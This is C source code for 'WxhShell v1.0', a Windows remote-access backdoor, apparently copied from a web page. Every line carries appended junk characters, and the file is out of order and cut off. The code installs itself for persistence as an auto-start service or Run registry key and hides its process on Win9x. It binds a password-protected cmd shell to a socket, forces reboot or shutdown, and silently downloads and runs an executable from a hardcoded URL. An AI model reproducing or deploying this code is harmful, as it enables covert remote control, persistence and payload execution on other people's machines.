    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2,6~;R  
    if(Boot(SHUTDOWN)) #LR.1zZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k`((6  
    else { Q~f mVWq  
    closesocket(wsh); ` 7P%muY.  
    ExitThread(0); LzQOzl@z  
    } 5AK@e|G$w  
    break; o1Krp '*  
    } YuUJgt .1  
  // 获取shell wEF"'T  
  case 's': { z"c,TlVN3  
    CmdShell(wsh); 4YSVy2x  
    closesocket(wsh); Lz&FywF-l  
    ExitThread(0); Jsa]RA  
    break; ,4j^ lgJ  
  } E?0Vo%Vh  
  // 退出 O2:1aG  
  case 'x': { %i) 0sE T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BJgHel+N  
    CloseIt(wsh); +bGO"*  
    break; &. MUSqo9  
    } \1O wZ@  
  // 离开 t"Bp # U1  
  case 'q': { `&:>?Y/X2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SyI\ulmL  
    closesocket(wsh); QM24cm T  
    WSACleanup(); ?PYZW5  
    exit(1); 5\Rg%Ezl  
    break; C]Q`!e  
        } t$&'mJ_-w  
  } zZW5M^z8  
  } Nwo*tb:  
\UP=pT@  
  // 提示信息 X%$1%)C9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vaLP_V  
} vScEQS$>  
  } n/{ pQ&B  
V aoqI  
  return;  Q@!XVQx4  
} I7\T :Q[  
C/4r3A/u  
// shell模块句柄  }}Zg/(  
int CmdShell(SOCKET sock) vq+4so )/S  
{ 2Ab`i!#  
STARTUPINFO si; z(u,$vZ _  
ZeroMemory(&si,sizeof(si)); o:B?hr'\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &]tm 'N25  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3+\Zom4  
PROCESS_INFORMATION ProcessInfo; Z*b$&nM  
char cmdline[]="cmd"; <G0Ut6J>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z2 Vri  
  return 0; `An p;el  
} !+z&] S3s  
D~FIv  
// 自身启动模式 "=ki_1/P  
int StartFromService(void) QUm[7<"  
{  ^Kl*}  
typedef struct j/jFS]iC  
{ <J>k%,:B  
  DWORD ExitStatus; d)3jkHYEjj  
  DWORD PebBaseAddress; !ALq?u  
  DWORD AffinityMask; O6,2M[a  
  DWORD BasePriority; ,vo]WIQ\:  
  ULONG UniqueProcessId; bk1.H@8  
  ULONG InheritedFromUniqueProcessId; yFn~rv|&G  
}   PROCESS_BASIC_INFORMATION; ILx4 [m7  
)%b 5uZ  
PROCNTQSIP NtQueryInformationProcess; Vry*=X &Q  
2r!- zEV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (+6N)9rj`/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #Cx#U"~G`  
Z^BZH/I?  
  HANDLE             hProcess; PC\p>6xT  
  PROCESS_BASIC_INFORMATION pbi; ?-~<Vc*  
}(!rB#bf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3kT?Y7<fv  
  if(NULL == hInst ) return 0; >X*G6p  
505ejO|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (! 8y~n 1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cE>m/^SKr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d+vAm3.Dg  
xSm~V3b c  
  if (!NtQueryInformationProcess) return 0; &JYkh >  
N{}8Zh4op  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (J?_~(,`"  
  if(!hProcess) return 0; >l #D9%  
*Z\AO'h=Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R! n7g8I%  
89j:YfA=v  
  CloseHandle(hProcess); Q3Z?Z;2aR  
N ]14~r=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,c0t#KgQ.  
if(hProcess==NULL) return 0; ZNl1e'  
Vc6 >i|"-O  
HMODULE hMod; +* F e   
char procName[255]; D>^g2!b:  
unsigned long cbNeeded; l D->1=z  
^QjkZ^<dD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4e?bkC  
H DD)AM&p  
  CloseHandle(hProcess); &EYoviFp  
5wdKu,nq  
if(strstr(procName,"services")) return 1; // 以服务启动 t3g+>U_m  
.beqfcj"  
  return 0; // 注册表启动 E^gN]Z"O  
} ?bu=QV@  
p5py3k  
// 主模块 )*R';/zaI  
int StartWxhshell(LPSTR lpCmdLine) M IyT9",Pl  
{ ,6#%+u}f  
  SOCKET wsl; q!+:zZu  
BOOL val=TRUE; ]NtBP  
  int port=0; 'r(g5H1}gi  
  struct sockaddr_in door; ..k8HFz>"  
Kv:Rvo  
  if(wscfg.ws_autoins) Install(); +sTPTCLE  
= y(*?TZH  
port=atoi(lpCmdLine); yye5GVY$  
p] N/]2rR  
if(port<=0) port=wscfg.ws_port; @h_ bXo  
,`OQAJ)>  
  WSADATA data; 0rQ r#0`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KX3A|  
uJlW$Oc:.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yyk@f%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T@`Al('  
  door.sin_family = AF_INET; >)u{%@Rcy{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8^D1u`  
  door.sin_port = htons(port); ]5K(}95&'  
<`G-_VI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fP6.  
closesocket(wsl); QC!SgV  
return 1; Xh}D_c  
} fYzP4  
X$@qs9?)^  
  if(listen(wsl,2) == INVALID_SOCKET) { 00s)=A_  
closesocket(wsl); XPZ8*8JL  
return 1; k.jBu  
} 49<t2^1q  
  Wxhshell(wsl); )y Zr]  
  WSACleanup(); AlG5n'  
i~AReJxt7  
return 0; Gg]Jp:GF  
7lA_*t@y  
} #, #:{&H  
fBh/$    
// 以NT服务方式启动 Hq,@j{($  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tl*h"du^  
{ Qca3{|r`  
DWORD   status = 0; wf1p/bpf  
  DWORD   specificError = 0xfffffff; >@ xe-0z  
.p*?g;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7&OJ8B/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {IvA 5^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |Ldvfd  
  serviceStatus.dwWin32ExitCode     = 0; qX; F+~  
  serviceStatus.dwServiceSpecificExitCode = 0; l(-"rE  
  serviceStatus.dwCheckPoint       = 0; uFb 9Ic]`  
  serviceStatus.dwWaitHint       = 0; g]c6_DMfb1  
$o;c:Kh$$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D^V)$ME  
  if (hServiceStatusHandle==0) return; '-J<ib t  
r:g_mMvB  
status = GetLastError(); zUNUH^Il  
  if (status!=NO_ERROR) &['x+vL9  
{ ~ iQBgd@D^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <5 OUk  
    serviceStatus.dwCheckPoint       = 0; %l#X6jkt  
    serviceStatus.dwWaitHint       = 0; -meY[!"X  
    serviceStatus.dwWin32ExitCode     = status; e=s85!  
    serviceStatus.dwServiceSpecificExitCode = specificError; &zJ\D`\,O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dFhyT.Y?  
    return; m[iQ7/  
  } ='=4tj=z  
3&5b!Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I"x~ 7  
  serviceStatus.dwCheckPoint       = 0; A>e-eD xi  
  serviceStatus.dwWaitHint       = 0; q8-hbWNm4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o1?-+P/  
} }p)Hw2  
>SL mlK  
// 处理NT服务事件,比如:启动、停止 p >ua{}!L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -*~ @?  
{ vfvp#  
switch(fdwControl) sf[|8}(  
{ 42A'`io[w]  
case SERVICE_CONTROL_STOP: Y'bz>@1(  
  serviceStatus.dwWin32ExitCode = 0; MP<]-M'|<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fA?v\'Qq/  
  serviceStatus.dwCheckPoint   = 0; rFkZ'rp74b  
  serviceStatus.dwWaitHint     = 0; $pAVTz  
  { `?WN*__["  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aaw[ia_EL  
  } 6&0G'PMf  
  return; ;H`@x Lv*  
case SERVICE_CONTROL_PAUSE: |HYST`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %6rSLBw3  
  break; V9qA'k  
case SERVICE_CONTROL_CONTINUE: Oq,@{V@)9k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QG~6mvD  
  break; j}s/)}n|  
case SERVICE_CONTROL_INTERROGATE: .taP2^2Z  
  break; G!=(^G@J;  
}; s3yGL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  qsXkm4  
} <_Z.fdUA  
={ -kQq  
// 标准应用程序主函数 44B D2`nF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XqUQ{^;aI  
{ XksI.]tfj  
BBGub?(dR  
// 获取操作系统版本 +F60_O `  
OsIsNt=GetOsVer(); .boB b<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _G@Z n[v  
8 l)K3;q_  
  // 从命令行安装 iM;Btv[|  
  if(strpbrk(lpCmdLine,"iI")) Install(); GYiL}itD=3  
3!/J!X3L  
  // 下载执行文件 $d])>4eQ  
if(wscfg.ws_downexe) { 1%R${Qhr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ts@Z5Yw*!  
  WinExec(wscfg.ws_filenam,SW_HIDE); Tp{ jR<  
} 8!3q:8y8  
|4P8N{ L>O  
if(!OsIsNt) { rl~Rbi  
// 如果时win9x,隐藏进程并且设置为注册表启动 +r//8&  
HideProc(); <Opw"yY&q]  
StartWxhshell(lpCmdLine); (|o @  
} rw3tU0j  
else pc@mQI  
  if(StartFromService()) y7CO%SA  
  // 以服务方式启动 4F0w+w JD  
  StartServiceCtrlDispatcher(DispatchTable); 7UG c2J  
else F.i}&UQ%  
  // 普通方式启动 +Yq?:uBV  
  StartWxhshell(lpCmdLine); W94u7a  
OPE+:TvW^  
return 0; bp}97ZQ  
} rr\9HA  
bma.RCyY<  
3+d^Bpp4  
dmv0hof  
=========================================== &08dW9H  
Lb<IEy77\  
s-'~t#h  
EA1&D^nT  
ss}-YnG  
4g2`[<S  
" %saP>]o  
}qoId3iY!7  
#include <stdio.h> r(Z?Fs/  
#include <string.h> Gf9sexn]l  
#include <windows.h> &Ejhw3Nw  
#include <winsock2.h> bpU> (j  
#include <winsvc.h> cZF|oZ6<  
#include <urlmon.h> @4Bl&(3S  
Xf#;`*5  
#pragma comment (lib, "Ws2_32.lib") J%xUO1  
#pragma comment (lib, "urlmon.lib") )B&`<1Oie  
+zk5du^gZ  
#define MAX_USER   100 // 最大客户端连接数 wme#8/eUk  
#define BUF_SOCK   200 // sock buffer T+EwC)Ll  
#define KEY_BUFF   255 // 输入 buffer MaD|X_g  
66 R=  
#define REBOOT     0   // 重启 mbX'*up  
#define SHUTDOWN   1   // 关机 iRkUL]H@&  
n{L^W5B  
#define DEF_PORT   5000 // 监听端口 v@SHR0  
7A'E+>1d  
#define REG_LEN     16   // 注册表键长度 e&:%Rr]x  
#define SVC_LEN     80   // NT服务名长度 L'`Au/%S}  
LJb=9tp~  
// 从dll定义API d*04[5`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $|&<cenMT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O/ItN5B ;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "s]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XRQ1Uh6  
[_3&  
// wxhshell配置信息 Zos.WS#  
struct WSCFG { M=95E$6  
  int ws_port;         // 监听端口 `+vQ5l$;L  
  char ws_passstr[REG_LEN]; // 口令 DCLu^:|C"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2vG X\W% 3  
  char ws_regname[REG_LEN]; // 注册表键名 fibudkg'>  
  char ws_svcname[REG_LEN]; // 服务名 ^q/$a2<4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X 5}=|%Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uqI'e_&=&5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6bjZW ~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <& +jl($"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -~xQ@+./  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ia; osqW  
na9YlJ\  
}; :*[mvF  
Hhk`yX c_  
// default Wxhshell configuration ]3='TN8aQF  
struct WSCFG wscfg={DEF_PORT, h@1/  
    "xuhuanlingzhe", =L1%gQJJ&  
    1, R<Mp$K^b  
    "Wxhshell", {: _*P TVk  
    "Wxhshell", =?+w5oI0  
            "WxhShell Service", T95FoA  
    "Wrsky Windows CmdShell Service", _7';1 D  
    "Please Input Your Password: ", l qh:c  
  1, B=^M& {  
  "http://www.wrsky.com/wxhshell.exe", n{~&^Nby*I  
  "Wxhshell.exe" {jR3D!hK  
    }; j r .{M  
d_&pxy? >  
// 消息定义模块 o+ {i26%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '~f*O0_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zd- *UF i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ht6}v<x.eA  
char *msg_ws_ext="\n\rExit."; 6(htpT%J  
char *msg_ws_end="\n\rQuit."; =N\$$3m?  
char *msg_ws_boot="\n\rReboot..."; HN/YuP03[  
char *msg_ws_poff="\n\rShutdown..."; NYg&8s.  
char *msg_ws_down="\n\rSave to "; m8F \ESL  
e]; IQ|  
char *msg_ws_err="\n\rErr!"; MNTVG&h  
char *msg_ws_ok="\n\rOK!"; 33eOM(`D[  
*sB'D+-/  
char ExeFile[MAX_PATH]; L7GNcV]c  
int nUser = 0; b%"/8rK  
HANDLE handles[MAX_USER]; tBZ?UAe;  
int OsIsNt; lFIaC}  
=HIKn6C<  
SERVICE_STATUS       serviceStatus; K%/\XnCY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gN(kRhp  
F g):>];<9  
// 函数声明 N.]~%)K:{  
int Install(void); Yc~lYz+b  
int Uninstall(void); IUh9skW5  
int DownloadFile(char *sURL, SOCKET wsh); ^2%)Nq;O  
int Boot(int flag); 9{S$%D  
void HideProc(void); }uaFmXy3  
int GetOsVer(void); e?07o!7[;  
int Wxhshell(SOCKET wsl); y0O e)oP  
void TalkWithClient(void *cs); %G6x\[,  
int CmdShell(SOCKET sock); l& sEdEA  
int StartFromService(void); %z[=T@  
int StartWxhshell(LPSTR lpCmdLine); -AVT+RE9z  
)>Z@')Uk:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mg8ciV}\xY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~p{YuW[e  
]{{%d4  
// 数据结构和表定义 Rc D5X{qS#  
SERVICE_TABLE_ENTRY DispatchTable[] = I~p*~mLh'  
{ Lr\(7r  
{wscfg.ws_svcname, NTServiceMain}, ds+2z=!!e  
{NULL, NULL} _(io8zqe{j  
}; |pMP-  
glM42s  
// 自我安装 S ;8=+I,  
int Install(void) <~v4BiQ3l^  
{ 6MU;9|&  
  char svExeFile[MAX_PATH]; i88`W&tI{  
  HKEY key; (k"0/*F4_  
  strcpy(svExeFile,ExeFile); 17;9>*O'  
7T!t*sSO'  
// 如果是win9x系统,修改注册表设为自启动 eW3?3l`fvt  
if(!OsIsNt) { #_3-(H5u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F2<Q~gQ;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3|G~_'`RLt  
  RegCloseKey(key); 9<P%?Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J?Q@f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e(1{W P  
  RegCloseKey(key); wkPomTO  
  return 0; +@8, uL  
    } I3x+pa^]2  
  } /L! =##  
} "iK'O =M  
else { >nK (  
|)O;+e\  
// 如果是NT以上系统,安装为系统服务 Vz!{nL0Q(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); " ~6&rt  
if (schSCManager!=0) gr.G']9lNq  
{ ev/)#i#s{  
  SC_HANDLE schService = CreateService Dq!YB[Z$:  
  ( UN;U+5,t  
  schSCManager, TOSk+2P  
  wscfg.ws_svcname, o2]Np~`g,  
  wscfg.ws_svcdisp, +mKII>{  
  SERVICE_ALL_ACCESS, ;r]! qv:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6 9uDc  
  SERVICE_AUTO_START, /Q#eP m  
  SERVICE_ERROR_NORMAL, l 8GAZ*+  
  svExeFile, 7+[L6q/K  
  NULL, c1*^ \   
  NULL, "8(8]GgYx  
  NULL, XIM?$p^  
  NULL, YxU->Wi]G  
  NULL \sW>Y#9]  
  ); Z~|%asjFE  
  if (schService!=0) ~WB-WI\  
  { #q&N d2y  
  CloseServiceHandle(schService); UA0( cK  
  CloseServiceHandle(schSCManager); k4:=y9`R}$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bsI?=lO  
  strcat(svExeFile,wscfg.ws_svcname); YVz,P_\(m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %^"i\- *|S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4m~p(r  
  RegCloseKey(key); kqC7^x  
  return 0; S|yDGT1  
    } dOg c%(kz  
  } pm=s  
  CloseServiceHandle(schSCManager); UK@hnQU8`  
} EW]8k@&g  
} 6Ol)SQE,  
!@+4&B=  
return 1; ~_-+Q=3  
} {K/xI  
i5*/ZA_  
// 自我卸载 !g~u'r'1  
int Uninstall(void) #Wv8+&n  
{ uBM%E OE  
  HKEY key; 4QNwu7TeR  
4!'4 l=jO  
if(!OsIsNt) { kO/;lrwC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AVc|(~V  
  RegDeleteValue(key,wscfg.ws_regname); Ipow Jw^  
  RegCloseKey(key); hrfSe$8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &&96kg3  
  RegDeleteValue(key,wscfg.ws_regname); '0qKb*  
  RegCloseKey(key); S^i<_?nwg  
  return 0; v:9Vp{)  
  } MP Q?Q]'  
} L N'})CI8m  
} WO+>W+|N  
else { (|y@ ftr@  
`n e9&+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /9-kG  
if (schSCManager!=0) \9:IL9~F  
{ 2>Kn'p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?U~`'^@  
  if (schService!=0) UX ?S#:h  
  { 09Z\F^*$F  
  if(DeleteService(schService)!=0) { vFgnbWxG  
  CloseServiceHandle(schService); bGp3 V. H  
  CloseServiceHandle(schSCManager); 7zXX& S  
  return 0; h~&5;  
  } pr1>:0dg  
  CloseServiceHandle(schService); (xBWxeL~  
  } >?$qKu  
  CloseServiceHandle(schSCManager); {=y~O  
} :C#(yp  
} K7 tSSX<N  
D CSTp2  
return 1; `hU 2Ss~  
} Iw</X}#\  
Qu|<1CrZj]  
// 从指定url下载文件 YJ01-  
int DownloadFile(char *sURL, SOCKET wsh) >#xIqxV,  
{ 0VI[6t@  
  HRESULT hr; E-$N!KY  
char seps[]= "/"; "Za'K+4  
char *token; 2wYY0=k2  
char *file; hOcVxSc.  
char myURL[MAX_PATH]; glNXamo  
char myFILE[MAX_PATH]; { %af  
;J?zD9  
strcpy(myURL,sURL); .+`Z:{:BC&  
  token=strtok(myURL,seps); j"P}Wn  
  while(token!=NULL) 4Mj cx.21  
  { p+{*&Hm5  
    file=token; hKQg:30<  
  token=strtok(NULL,seps); *Cx3bg*Gan  
  } tWI4x3 &2  
9,A HC2kn%  
GetCurrentDirectory(MAX_PATH,myFILE); 8lT2qqlr  
strcat(myFILE, "\\"); ,N2|P:x  
strcat(myFILE, file); >iWw i'T=  
  send(wsh,myFILE,strlen(myFILE),0); u-X P `  
send(wsh,"...",3,0); _R|8_#yM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _/a8X:[(  
  if(hr==S_OK) Ap%tm)@1  
return 0; @-jI<g  
else  )9$>i5l  
return 1; ADlLodG  
"@+r|x  
} `bRt_XGPmF  
os`#:Ao5  
// 系统电源模块 +"SYG  
int Boot(int flag) rY(h }z  
{ J [ 4IO  
  HANDLE hToken; >^+c s^jCM  
  TOKEN_PRIVILEGES tkp; xw83dQ]}^  
!" 7ip9a  
  if(OsIsNt) { lEiOE]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]`O??wN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #p|7\Y  
    tkp.PrivilegeCount = 1; 3Qoa ?*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *bTR0U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tCP;IU$  
if(flag==REBOOT) { 'wP\VCL2>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a*KJjl?k  
  return 0; pksF| VS  
} )\Ay4 d  
else { W{*w<a_ `  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sRf?JyB  
  return 0; _6&TCd<  
} |H@1g=q  
  } YWUCrnr  
  else { hG%J:}  
if(flag==REBOOT) { }SF<. A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I?IAZa)  
  return 0; u MM?s?q  
} "A%JT3  
else { 4"y1M=he  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `q(eB=6;[  
  return 0; -c'~0g]<  
} Ok6c E  
} ^# gR"\F`d  
j`$d W H/2  
return 1; |c5r&oM&m  
} dd@-9?6M  
!Won<:.[0  
// win9x进程隐藏模块 Lb%Wz*Fa%!  
void HideProc(void) uS,XQy2  
{ VsMTzGr  
]2o?Gnn@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^SH8*7l7  
  if ( hKernel != NULL ) pz@wbu=($4  
  { ;Jq 7E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o+T %n1$+V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); | ?])]F  
    FreeLibrary(hKernel); [qGj*`@C  
  } R#i{eE*WF  
\z>L,U  
return; ,"Nfo`7  
} ag\xwS#i5H  
NU?05sF  
// 获取操作系统版本 idh5neyL  
int GetOsVer(void) } :8{z`4H  
{ vpl> 5%  
  OSVERSIONINFO winfo; 3BWYSJ|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y7)$~R):-  
  GetVersionEx(&winfo); yw9)^JU8"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .q^+llM  
  return 1; ?* %J Gz_  
  else Gh#$[5&`  
  return 0; ",gWO 8T  
} tE]0 #B)D<  
{[%kn rRJ  
// 客户端句柄模块 r.T!R6v}  
int Wxhshell(SOCKET wsl) hs  m%o\  
{ C:WXI;*cr  
  SOCKET wsh; +)eI8o0#  
  struct sockaddr_in client; P,/=c(5\}  
  DWORD myID; ) FnJLd  
 UX& ?^]  
  while(nUser<MAX_USER) bzt(;>_8  
{ P5^<c\Mr,Y  
  int nSize=sizeof(client); C0$KpUB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *[^[!'kT&  
  if(wsh==INVALID_SOCKET) return 1; hLf<-NM  
7 P$>T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xJ18M@" j  
if(handles[nUser]==0) `78:TU~5S  
  closesocket(wsh); L]C|&K P  
else |wFfVDp  
  nUser++; m$X0O_*A  
  } qz .{[ l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /T_@rm  
?onTW2cG;  
  return 0; FnFJw;:,{  
} Z*Fxr;)d  
zJ2dPp~u  
// 关闭 socket  aX'R&R  
void CloseIt(SOCKET wsh) w`")^KXi  
{ 4.}{B_)LK  
closesocket(wsh); @d]a#ypU  
nUser--; >w~Hq9  
ExitThread(0); nA#FGfZ{Ge  
} *$eMM*4  
~j&#DG&L  
// 客户端请求句柄 `X06JTqf:  
void TalkWithClient(void *cs) Ur/+nL{  
{  @{|vW  
lSu\VCG  
  SOCKET wsh=(SOCKET)cs; =83FCq"  
  char pwd[SVC_LEN]; gISG<!+X^  
  char cmd[KEY_BUFF]; "DniDA  
char chr[1]; <FfdOK_  
int i,j; I#m0n%-[  
 XAb!hc   
  while (nUser < MAX_USER) { !\ckUMZ\  
^-yEb\\i  
if(wscfg.ws_passstr) { 9 J0JSy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dfss_}R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4._ U  
  //ZeroMemory(pwd,KEY_BUFF); pW>?%ft.  
      i=0; cR0OJ'w  
  while(i<SVC_LEN) { ph;ds+b  
O~1vX9  
  // 设置超时 ).BZPyV<  
  fd_set FdRead; ~$O.KF:  
  struct timeval TimeOut; #:y h2y7a%  
  FD_ZERO(&FdRead); X?'v FC  
  FD_SET(wsh,&FdRead); (rM-~h6g  
  TimeOut.tv_sec=8; }?0At<(d  
  TimeOut.tv_usec=0; /kLG/ry8l:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PSM~10l,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CSC sJE#4  
*}hx9:9\B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); srbU}u3VZ  
  pwd=chr[0]; E mUA38  
  if(chr[0]==0xd || chr[0]==0xa) { 1+f>tv  
  pwd=0; k{?Pgf27  
  break; X \1grM  
  } ^HYrJr$y  
  i++; yv@td+-"D  
    } HX(Z(rcI  
m|}};8  
  // 如果是非法用户,关闭 socket :UMtknV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oY#62&wk4  
} |N{?LKR %  
zuq7 x7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eiNF?](3O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _wC4n }J  
H1alf_(_ \  
while(1) { h]6"~ m  
iL%Q@!ka  
  ZeroMemory(cmd,KEY_BUFF); m3cO { 1I  
0gs0[@  
      // 自动支持客户端 telnet标准   Q/y^ff]=  
  j=0; v7i5R !  
  while(j<KEY_BUFF) { B-@ ]+W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &K1\"  
  cmd[j]=chr[0]; o:E_k#Fi  
  if(chr[0]==0xa || chr[0]==0xd) { <K$X>&Ts  
  cmd[j]=0; ? x*Ve2+]  
  break; -t<8)9q(  
  } O[tOpf@s.  
  j++; ]Tb ?k+a  
    } Vh.9/$xQ  
JwkMRO  
  // 下载文件 7(q EHZEr  
  if(strstr(cmd,"http://")) { WxN@&g(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rW~hFSrV[o  
  if(DownloadFile(cmd,wsh)) eC9nOwp]xH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jj~c&LxrO  
  else yK$.wd 2,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M7\; Y  
